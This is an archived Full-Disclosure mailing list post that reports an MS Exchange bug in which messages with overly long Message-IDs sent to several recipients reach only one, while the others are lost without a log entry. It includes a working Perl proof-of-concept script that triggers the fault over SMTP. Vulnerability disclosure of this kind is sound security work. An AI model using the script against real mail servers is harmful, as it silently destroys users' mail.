full-disclosure - MS Exchange message lost

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

From: I.D.S at gmx.de (I.D.S@....de)
Subject: MS Exchange message lost

* MS Exchange duplicate message fault (message lost)
*
* MS Exchange (all versions affected) duplicate message fault 
*
* I discovered this bug independently on 10, 2003 
* 
* public post 05, 2004
*
* Helmut Schmitz < i.d.s@....de >
*
* (c) 2003/2004 Copyright by Helmut Schmitz - HackForce.NET -  */

MS Exchange Server (tested on 5.5 and 2003) has a bug ... If you send
Messages with long message ids (>189 bytes?)to more than one recipient (cc),
the message will not delivered correctly ... there is no correct logging !!,
the messages will be delivered to only one Recipient ... the message to the
other will be lost !!

I have send this issue to Microsoft (10.2003) ... some months later
(05.2004) I got the fix, but not public ... store.exe (6.5.6980.81) with
some reg settings fixes (workaround ;-) the problem.

Perl Example (test exploit) ...

#!/usr/bin/perl -w
use Net::SMTP;
$from = 'sender@...rdomain.de';
$to = 'user1@...rdomain.de';
$cc = 'user2@...rdomain.de';
$subject = 'Test Email';
$smtp = Net::SMTP->new('yourmailserver');
$smtp->mail($from);
$smtp->to($to);
$smtp->cc($cc);
$smtp->data();
$smtp->datasend("To: <$to>\n");
$smtp->datasend("Cc: <$cc>\n");
$smtp->datasend("From:  <$from>\n");
$smtp->datasend("Subject: $subject\n");
$smtp->datasend("Message-ID:
<veryverylongmessageid123ondljzhngqwenfghnrjhgdlutjfohnfiztgefnuhderlhte
ngeifeejktmhedgedherngrondljzhngqwenfghnrjhgdlutjfohnfiztgefnuhderlhteng
eifeejktmhedgedherngrondljzhngqwenfghnrjhgdlutjfohnfiztgefnuhderlhtengei
feejktmhedgedherngrondljzhng> \n");
$smtp->datasend("Hallo\n");
$smtp->datasend("123\n");
$smtp->datasend("123\n");
$smtp->datasend("123\n");
$smtp->dataend();
$smtp->quit;

Background:
Duplicate detection is decided by three factors.  These are MessageID,
RootFID (the root folder ID of the mailbox) and the SubmitTime into the
store.  These are used to build a unique key when the message is submitted.
If all the factors are the same value, then we recognize the message as
duplicate. 

###################################

I think some people know how to use this "FEATURE" ...  I hope this post
will speed up the fix release!

Regards,
Helmut Schmitz

-- 
"Sie haben neue Mails!" - Die GMX Toolbar informiert Sie beim Surfen!
Jetzt aktivieren unter http://www.gmx.net/info